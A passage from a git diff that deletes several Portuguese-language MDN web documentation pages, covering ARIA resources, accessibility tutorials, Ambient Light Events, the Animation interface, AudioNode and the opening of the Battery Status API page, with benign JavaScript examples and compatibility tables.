- <dd>A challenge with ARIA is getting developers to implement consistent behavior — clearly best for users. This style guide describes the keyboard interface for common widgets.</dd>
-</dl>
-
-<h3 id="ARIA_-_Recursos">ARIA - Recursos</h3>
-
-<dl>
- <dd>Need a slider, a menu, or another kind of widget? Find resources here.</dd>
- <dt><a class="external" href="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/" title="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/">ARIA-Enabled JavaScript UI Libraries</a></dt>
- <dd>If you're starting a new project, choose a UI widget library with ARIA support already built-in. Warning: this is from 2009 — content should be moved to an MDN page where it can be updated.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h3 id="Lista_de_Endereços">Lista de Endereços</h3>
-
-<dl>
- <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">Free ARIA Google Group</a></dt>
- <dd>A place to ask questions about ARIA, as well as make suggestions for improving the ARIA documentation found on these pages.</dd>
-</dl>
-
-<h3 id="Blogues">Blogues</h3>
-
-<p>ARIA information on blogs tends to get out of date quickly. Still, there is some great info out there from other developers making ARIA work today.</p>
-
-<p><a class="external" href="https://www.paciellogroup.com/blog/">Paciello Group</a></p>
-
-<p><a class="external" href="http://www.accessibleculture.org/tag/wai-aria/">Accessible Culture</a></p>
-
-<h3 id="Comunicar_Erros_(Bugs)">Comunicar Erros (<em>Bugs</em>)</h3>
-
-<p><a href="/en/Accessibility/ARIA/How_to_file_ARIA-related_bugs" title="https://developer.mozilla.org/en/ARIA/How_to_file_ARIA-related_bugs">File ARIA bugs on browsers, screen readers, and JavaScript libraries.</a></p>
-
-<h3 id="Exemplos">Exemplos</h3>
-
-<dl>
- <dt><a class="external" href="/en-US/docs/Accessibility/ARIA/ARIA_Test_Cases">ARIA Examples Library</a></dt>
- <dd>A set of barebones example files which are easy to learn from.</dd>
- <dt>Accessible JS Widget Library Demos</dt>
- <dd><a class="external" href="http://hanshillen.github.com/jqtest/">jQuery</a>, <a class="external" href="http://yuilibrary.com/gallery/">YUI</a></dd>
- <dt><a class="external" href="http://mail.yahoo.com">Yahoo! Mail</a></dt>
- <dd>Yahoo! puts it all together with Yahoo! Mail, a web app that almost looks like a native app. It works very well. As a <a class="external" href="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/">review of Yahoo! Mail</a> by screen reader Marco Zehe says, "Keep up the good work!".</dd>
- <dt><a class="external" href="http://search.yahoo.com">Yahoo! Search</a></dt>
- <dd>Yahoo! has done an amazing job of advancing ARIA here, by exercising ARIA's full capabilities and <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">sharing their techniques</a>. Yahoo! Search uses a combination of ARIA landmarks, live regions, and widgets.</dd>
-</dl>
-
-<h3 id="Esforços_de_Uniformização">Esforços de  Uniformização</h3>
-
-<dl>
- <dt><a class="external" href="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA Activities Overview at W3C</a></dt>
- <dd>Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)</dd>
- <dt><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA Specification</a></dt>
- <dd>The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.</dd>
- <dt><a class="external" href="https://www.w3.org/TR/wai-aria-practices-1.1/">WAI-ARIA Authoring Practices</a></dt>
- <dd>
- <p>Like the W3C WAI-ARIA specification, the official best practices represents a future ideal — a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.</p>
-
- <p>For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.</p>
- </dd>
- <dt><a class="external" href="http://www.openajax.org/member/wiki/Accessibility">Open AJAX Accessibility Task Force</a></dt>
- <dd>The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.</dd>
- <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="ARIA Techniques">Under Construction: WCAG 2.0 ARIA Techniques</a></dt>
- <dd>The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is important when regulations or policies are based on WCAG.</dd>
-</dl>
-</div>
-</div>
-
-<h3 id="Related_Topics" name="Related_Topics">Tópicos Relacionados</h3>
-
-<p><a href="/pt-PT/docs/Web/Acessibilidade">Acessibilidade</a>, <a href="/pt-PT/docs/Web/Guide/AJAX">AJAX</a>, <a href="/pt-PT/docs/Web/JavaScript">JavaScript</a></p>
diff --git a/files/pt-pt/web/accessibility/index.html b/files/pt-pt/web/accessibility/index.html
deleted file mode 100644
index 11ee6b8de1..0000000000
--- a/files/pt-pt/web/accessibility/index.html
+++ /dev/null
@@ -1,72 +0,0 @@
----
-title: Acessibilidade
-slug: Web/Accessibility
-tags:
- - Acessibilidade
-translation_of: Web/Accessibility
-original_slug: Web/Acessibilidade
----
-<p>A acessibilidade no desenvolvimento da <em>Web</em> significa habilitar o maior número possível de pessoas para usar sites da <em>Web</em>, mesmo quando as habilidades dessas pessoas são limitadas de alguma forma. Aqui, fornecemos informações sobre o desenvolvimento de conteúdo para serem acessíveis<span class="seoSummary">.</span></p>
-
-<p>" A acessibilidade é mais usada para descrever instalações ou amenidades para ajudar as pessoas com deficiência, como em 'acessível para cadeiras de rodas'. Isso pode se estender a sinalização de Braille, rampas para cadeiras de rodas, sinais de áudio em passagens para pedestres, contornos de passarelas, design de sites, e assim por diante ." <a class="external" href="https://pt.wikipedia.org/wiki/Acessibilidade">Entrada da Wikipédia para 'Acessibilidade'</a></p>
-
-<p>"<strong>A Web é fundamentalmente projetada para trabalhar para todas as pessoas</strong>, seja qual for seu hardware, software, idioma, cultura, localização ou habilidade física ou mental. Quando a Web atende esse objetivo, é acessível para pessoas com uma diversidade de audiência, movimento, visão e capacidade cognitiva ." <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Acessibilidade </a>(inglês)</p>
-
-<div class="cleared topicpage-table">
-<div class="section">
-<h2 class="Key_accessibility_tutorials" id="Key_accessibility_tutorials" name="Key_accessibility_tutorials">Key tutorials</h2>
-
-<p>The MDN <a href="/en-US/docs/Learn/Accessibility">Accessibility Learning Area</a> contains modern, up-to-date tutorials covering accessibility essentials:</p>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></dt>
- <dd>This article starts off the module with a good look at what accessibility actually is — this includes what groups of people we need to consider and why, what tools different people use to interact with the Web, and how we can make accessibility part of our web development workflow.</dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></dt>
- <dd>A great deal of web content can be made accessible just by making sure the correct HTML elements are used for the correct purpose at all times. This article looks in detail at how HTML can be used to ensure maximum accessibility.</dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></dt>
- <dd>CSS and JavaScript, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. This article outlines some CSS and JavaScript best practices that should be considered to ensure even complex content is as accessible as possible.</dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></dt>
- <dd>Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessibility.</dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></dt>
- <dd>Another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. This article shows how.</dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></dt>
- <dd>With web access on mobile devices being so popular, and popular platforms such as iOS and Android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. This article looks at mobile-specific accessibility considerations.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Other documentation</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG">Understanding the Web Content Accessibility Guidelines</a></dt>
- <dd>
- <p>This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 (WCAG 2.0 or just WCAG, for the purposes of this writing).</p>
- </dd>
- <dt><a href="/en/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Keyboard-navigable JavaScript widgets</a></dt>
- <dd>Until now, web developers who want to make their styled &lt;div&gt; and &lt;span&gt; based widgets have lacked the proper techniques. <strong>Keyboard accessibility</strong> is part of the minimum accessibility requirements which a developer should be aware of.</dd>
- <dt><a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a></dt>
- <dd>A collection of articles to learn how to use ARIA to make your HTML documents more accessible.</dd>
- <dt><a href="/en-US/docs/Accessibility/AT_Development" title="AT Development">Assistive technology (AT) development</a></dt>
- <dd>A collection of articles intended for AT developers</dd>
- <dt><a href="/en-US/docs/Web/Accessibility/Mobile_accessibility_checklist">Mobile accessibility checklist</a></dt>
- <dd>This document provides a concise checklist of accessibility requirements for mobile app developers.</dd>
- <dt><a href="/en-US/docs/Web/Accessibility/Cognitive_accessibility">Cognitive accessibility</a></dt>
- <dd>When creating web content, be aware of how you can ensure that it is accessible to people cognitive impairments.</dd>
- <dt><a href="/en-US/docs/Web/Accessibility/Seizure_disorders">Accessibility for seizure disorders</a></dt>
- <dd>Some types of visual web content can induce seizures in people with certain brain disorders. Understand the types of content that can be problematic, and find tools and strategies to help you avoid them.</dd>
- <dt></dt>
-</dl>
-
-<p><span class="alllinks"><a href="/en-US/docs/tag/Accessibility" title="/en-US/docs/tag/Accessibility">View all articles about Accessibility...</a></span></p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="https://lists.mozilla.org/listinfo/accessibility">Mozilla mailing list about accessibility</a></li>
- <li><a href="http://www.w3.org/WAI/IG/">WAI Interest Group</a></li>
- <li><a href="https://mozillians.org/en-US/group/1-accessibility">Mozillians group about accessibility</a></li>
- <li><a href="/en-US/docs/Web/Guide" title="REDIRECT Web">Developer guides</a></li>
- <li><a href="/en-US/docs/Mozilla/Accessibility" title="Accessibility is the idea that software (among other things) should be designed to be usable and, as much as possible, convenient to use for people with disabilities. Mozilla strives to make its software accessible; the documents below cover the ways in which we do so.">Accessibility and Mozilla</a></li>
-</ul>
-</div>
diff --git a/files/pt-pt/web/api/ambient_light_events/index.html b/files/pt-pt/web/api/ambient_light_events/index.html
deleted file mode 100644
index 0605b2098a..0000000000
--- a/files/pt-pt/web/api/ambient_light_events/index.html
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: Eventos de Luz Ambiente
-slug: Web/API/Ambient_Light_Events
-tags:
- - Luz Ambiente
-translation_of: Web/API/Ambient_Light_Events
-original_slug: Web/API/Eventos_de_Luz_Ambiente
----
-<div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div>
-
-<p>Os eventos de luz ambiente são uma maneira prática de tornar uma página da Web ou um aplicação ciente de qualquer alteração na intensidade da luz. Isto permite-lhes reagir a essa alteração, por exemplo, alterando o contraste da cor da interface do utilizador (IU) ou alterando a exposição necessária para tirar uma fotografia.</p>
-
-<h2 id="Eventos_de_Luz">Eventos de Luz</h2>
-
-<p>When the light sensor of a device detects a change in the light level, it notifies the browser of that change. When the browser gets such a notification, it fires a {{domxref("DeviceLightEvent")}} event that provides information about the exact light intensity.</p>
-
-<p>This event can be captured at the <code>window</code> object level by using the {{domxref("EventTarget.addEventListener","addEventListener")}} method (using the {{event("devicelight")}} event name) or by attaching an event handler to the {{domxref("window.ondevicelight")}} property.</p>
-
-<p>Once captured, the event object gives access to the light intensity expressed in <a href="http://en.wikipedia.org/wiki/Lux">lux</a> through the {{domxref("DeviceLightEvent.value")}} property.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: js">if ('ondevicelight' in window) {
- window.addEventListener('devicelight', function(event) {
- var body = document.querySelector('body');
- if (event.value &lt; 50) {
- body.classList.add('darklight');
- body.classList.remove('brightlight');
- } else {
- body.classList.add('brightlight');
- body.classList.remove('darklight');
- }
- });
-} else {
-  console.log('devicelight event not supported');
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("AmbientLight", "", "Ambient Light Events")}}</td>
- <td>{{Spec2("AmbientLight")}}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("api.DeviceLightEvent")}}</p>
-
-<p> </p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li>{{domxref("DeviceLightEvent")}}</li>
- <li>{{event("devicelight")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/animation/index.html b/files/pt-pt/web/api/animation/index.html
deleted file mode 100644
index 3921533613..0000000000
--- a/files/pt-pt/web/api/animation/index.html
+++ /dev/null
@@ -1,142 +0,0 @@
----
-title: Animation
-slug: Web/API/Animation
-tags:
- - API
- - Animations
- - Animações da Web
- - Experimental
- - Interface
- - Referencia
- - api de animações da web
- - waapi
-translation_of: Web/API/Animation
----
-<div>{{ APIRef("Web Animations") }}{{SeeCompatTable}}</div>
-
-<p>The <strong><code>Animation</code></strong> interface of the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> represents a single animation player and provides playback controls and a timeline for an animation node or source.</p>
-
-<h2 id="Construtor">Construtor</h2>
-
-<dl>
- <dt>{{domxref("Animation.Animation()", "Animation()")}}</dt>
- <dd>Creates a new <code>Animation</code> object instance.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt>{{domxref("Animation.currentTime")}}</dt>
- <dd>The current time value of the animation in milliseconds, whether running or paused. If the animation lacks a {{domxref("AnimationTimeline", "timeline")}}, is inactive or hasn't been played yet, its value is <code>null</code>.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.effect")}}</dt>
- <dd>Gets and sets the {{domxref("AnimationEffectReadOnly")}} associated with this animation. This will usually be a {{domxref("KeyframeEffect")}} object.</dd>
- <dt>{{domxref("Animation.finished")}} {{readOnlyInline}}</dt>
- <dd>Returns the current finished Promise for this animation.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.id")}}</dt>
- <dd>Gets and sets the <code>String</code> used to identify the animation.</dd>
- <dt>{{domxref("Animation.pending")}} {{readonlyinline}}</dt>
- <dd>Indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.</dd>
- <dt>{{domxref("Animation.playState")}} {{readOnlyInline}}</dt>
- <dd>Returns an enumerated value describing the playback state of an animation.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.playbackRate")}}</dt>
- <dd>Gets or sets the playback rate of the animation.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.ready")}} {{readOnlyInline}}</dt>
- <dd>Returns the current ready Promise for this animation.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.startTime")}}</dt>
- <dd>Gets or sets the scheduled time when an animation's playback should begin.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.timeline")}}</dt>
- <dd>Gets or sets the {{domxref("AnimationTimeline", "timeline")}} associated with this animation.</dd>
-</dl>
-
-<h3 id="Manipuladores_de_evento">Manipuladores de evento</h3>
-
-<dl>
- <dt>{{domxref("Animation.oncancel")}}</dt>
- <dd>Gets and sets the event handler for the <code>cancel</code> event.</dd>
- <dt>{{domxref("Animation.onfinish")}}</dt>
- <dd>Gets and sets the event handler for the <code>finish</code> event.</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<dl>
- <dt>{{domxref("Animation.cancel()")}}</dt>
- <dd>Clears all {{domxref("KeyframeEffect", "keyframeEffects")}} caused by this animation and aborts its playback.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.finish()")}}</dt>
- <dd>Seeks either end of an animation, depending on whether the animation is playing or reversing.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.pause()")}}</dt>
- <dd>Suspends playing of an animation.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.play()")}}</dt>
- <dd>Starts or resumes playing of an animation, or begins the animation again if it previously finished.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Animation.reverse()")}}</dt>
- <dd>Reverses playback direction, stopping at the start of the animation. If the animation is finished or unplayed, it will play from end to beginning.</dd>
- <dt>{{domxref("Animation.updatePlaybackRate()")}}</dt>
- <dd>Sets the speed of an animation after first synchronizing its playback position.</dd>
-</dl>
-
-<h2 id="Preocupações_de_acessibilidade">Preocupações de acessibilidade</h2>
-
-<p>Blinking and flashing animation can be problematic for people with cognitive concerns such as Attention Deficit Hyperactivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity.</p>
-
-<p>Consider providing a mechanism for pausing or disabling animation, as well as using the <a href="/en-US/docs/Web/CSS/@media/prefers-reduced-motion">Reduced Motion Media Query</a> to create a complimentary experience for users who have expressed a preference for no animated experiences.</p>
-
-<ul>
- <li><a href="https://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity">Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article </a></li>
- <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">An Introduction to the Reduced Motion Media Query | CSS-Tricks</a></li>
- <li><a href="https://webkit.org/blog/7551/responsive-design-for-motion/">Responsive Design for Motion | WebKit</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_%E2%80%94_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.2 explanations</a></li>
- <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-pause.html">Understanding Success Criterion 2.2.2  | W3C Understanding WCAG 2.0</a></li>
-</ul>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName("Web Animations", "#the-animation-interface", "Animation")}}</td>
- <td>{{Spec2("Web Animations")}}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("api.Animation")}}</p>
diff --git a/files/pt-pt/web/api/audionode/index.html b/files/pt-pt/web/api/audionode/index.html
deleted file mode 100644
index df63de86c6..0000000000
--- a/files/pt-pt/web/api/audionode/index.html
+++ /dev/null
@@ -1,207 +0,0 @@
----
-title: AudioNode
-slug: Web/API/AudioNode
-tags:
- - API
- - AudioNode
- - Interface
- - NeedsTranslation
- - Reference
- - TopicStub
- - Web Audio API
-translation_of: Web/API/AudioNode
----
-<p>{{ APIRef("Web Audio API") }}</p>
-
-<p>The <strong><code>AudioNode</code></strong> interface is a generic interface for representing an audio processing module like an audio source (e.g. an HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}} element, an {{domxref("OscillatorNode")}}, etc.), the audio destination, intermediate processing module (e.g. a filter like {{domxref("BiquadFilterNode")}} or {{domxref("ConvolverNode")}}), or volume control (like {{domxref("GainNode")}}).</p>
-
-<p>{{InheritanceDiagram}}</p>
-
-<p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="display: block; height: 230px; margin: 0px auto; width: 677px;"></p>
-
-<p>An <code>AudioNode</code> has inputs and outputs, each with a given amount of <em>channels</em>.<em> </em>An <code>AudioNode</code> with zero inputs and one or multiple outputs is called a <em>source node</em>. The exact processing done varies from one <code>AudioNode</code> to another but, in general, a node reads its inputs, does some audio-related processing, and generates new values for its outputs, or simply lets the audio pass through (for example in the {{domxref("AnalyserNode")}}, where the result of the processing is accessed separately).</p>
-
-<p>Different nodes can be linked together to build a <em>processing graph</em>. Such a graph is contained in an {{domxref("AudioContext")}}. Each <code>AudioNode</code> participates in exactly one such context. In general, processing nodes inherit the properties and methods of <code>AudioNode</code>, but also define their own functionality on top. See the individual node pages for more details, as listed on the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> homepage.</p>
-
-<div class="note">
-<p><strong>Note</strong>: An <code>AudioNode</code> can be target of events, therefore it implements the {{domxref("EventTarget")}} interface.</p>
-</div>
-
-<h2 id="Properties" style="">Properties</h2>
-
-<dl>
- <dt>{{domxref("AudioNode.context")}} {{readonlyInline}}</dt>
- <dd>Returns the associated {{domxref("AudioContext")}}, that is the object representing the processing graph the node is participating in.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt>
- <dd>Returns the number of inputs feeding the node. Source nodes are defined as nodes having a <code>numberOfInputs</code> property with a value of <code>0</code>.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}</dt>
- <dd>Returns the number of outputs coming out of the node. Destination nodes — like {{ domxref("AudioDestinationNode") }} — have a value of <code>0</code> for this attribute.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("AudioNode.channelCount")}}</dt>
- <dd>Represents an integer used to determine how many channels are used when <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> connections to any inputs to the node. Its usage and precise definition depend on the value of {{domxref("AudioNode.channelCountMode")}}.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("AudioNode.channelCountMode")}}</dt>
- <dd>Represents an enumerated value describing the way channels must be matched between the node's inputs and outputs.</dd>
- <dt>{{domxref("AudioNode.channelInterpretation")}}</dt>
- <dd>Represents an enumerated value describing the meaning of the channels. This interpretation will define how audio <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> will happen.<br>
- The possible values are <code>"speakers"</code> or <code>"discrete"</code>.</dd>
-</dl>
-
-<h2 id="Methods">Methods</h2>
-
-<p><em>Also implements methods from the interface </em>{{domxref("EventTarget")}}.</p>
-
-<dl>
- <dt>{{domxref("AudioNode.connect()")}}</dt>
- <dd>Allows us to connect the output of this node to be input into another node, either as audio data or as the value of an {{domxref("AudioParam")}}.</dd>
- <dt>{{domxref("AudioNode.disconnect()")}}</dt>
- <dd>Allows us to disconnect the current node from another one it is already connected to.</dd>
-</dl>
-
-<h2 id="Example">Example</h2>
-
-<p>This simple snippet of code shows the creation of some audio nodes, and how the <code>AudioNode</code> properties and methods can be used. You can find examples of such usage on any of the examples linked to on the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> landing page (for example <a href="https://github.com/mdn/violent-theremin">Violent Theremin</a>.)<span class="p"> </span></p>
-
-<pre class="brush: js;highlight[8,9,11,12,13,14]">var AudioContext = window.AudioContext || window.webkitAudioContext;
-
-var audioCtx = new AudioContext();
-
-var oscillator = audioCtx.createOscillator();
-var gainNode = audioCtx.createGain();
-
-oscillator.connect(gainNode);
-gainNode.connect(audioCtx.destination);
-
-oscillator.context;
-oscillator.numberOfInputs;
-oscillator.numberOfOutputs;
-oscillator.channelCount;</pre>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}</td>
- <td>{{Spec2('Web Audio API')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop(25.0)}}</td>
- <td>{{CompatNo}}</td>
- <td>15.0{{property_prefix("webkit")}}<br>
- 22 (unprefixed)</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>channelCount</code> <code>channelCountMode</code></td>
- <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>connect</code><code>(AudioParam)</code></td>
- <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Firefox OS (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>25.0</td>
- <td>1.2</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>channelCount</code><br>
- <code>channelCountMode</code></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>connect</code><code>(AudioParam)</code></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/battery_status_api/index.html b/files/pt-pt/web/api/battery_status_api/index.html
deleted file mode 100644
index 3b9bf25ab6..0000000000
--- a/files/pt-pt/web/api/battery_status_api/index.html
+++ /dev/null
@@ -1,170 +0,0 @@
----
-title: API do Estado da Bateria
-slug: Web/API/Battery_Status_API
-tags:
- - API
- - API de Bateria
- - API do Estado da Bateria
- - Aplicações
- - Apps
- - Firefox OS
- - Guía
- - Movel
- - Resumo
- - Sinopse
-translation_of: Web/API/Battery_Status_API
-original_slug: Web/API/API_do_Estado_da_Bateria
----
-<div>{{obsolete_header}}</div>
-
-<div>{{DefaultAPISidebar("Battery API")}}</div>
-
-<p>A <em>API do Estado da Bateria</em>, mais conhecida como <strong>API de Bateria</strong>, fornece informação sobre o nível de carga da bateria do sistema e permite-lhe que seja notificado por eventos que são enviados quando o nível da bateria ou o estado de carregamento é alterado. Isto pode ser utilizado para ajustar a utilização de recursos da aplicação para reduzir o consumo de bateria quando a bateria estiver fraca ou para guardar as alterações antes que a bateria acabe para evitar a perda de dados.</p>
-
-<p>The Battery Status API extends {{domxref("window.navigator")}} with a {{domxref("navigator.getBattery()")}} method returning a battery promise, which is resolved in a {{domxref("BatteryManager")}} object providing also some new events you can handle to monitor the battery status.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>In this example, we watch for changes both to the charging status (whether or not we're plugged in and charging) and for changes to the battery level and timing. This is done by listening for the {{event("chargingchange")}}, {{event("levelchange")}}, {{event("chargingtimechange")}}, {{event("dischargingtimechange")}} events.</p>
-
-<pre class="brush: js">navigator.getBattery().then(function(battery) {
- function updateAllBatteryInfo(){
- updateChargeInfo();
- updateLevelInfo();
- updateChargingInfo();
- updateDischargingInfo();
-  }
- updateAllBatteryInfo();
-
- battery.addEventListener('chargingchange', function(){
- updateChargeInfo();
- });
- function updateChargeInfo(){
-  console.log("Battery charging? "
- + (battery.charging ? "Yes" : "No"));
-  }
-
- battery.addEventListener('levelchange', function(){
- updateLevelInfo();
- });
- function updateLevelInfo(){
-  console.log("Battery level: "
- + battery.level * 100 + "%");
-  }
-
- battery.addEventListener('chargingtimechange', function(){
- updateChargingInfo();
- });
- function updateChargingInfo(){
-  console.log("Battery charging time: "
- + battery.chargingTime + " seconds");
-  }
-
- battery.addEventListener('dischargingtimechange', function(){
- updateDischargingInfo();
- });
- function updateDischargingInfo(){
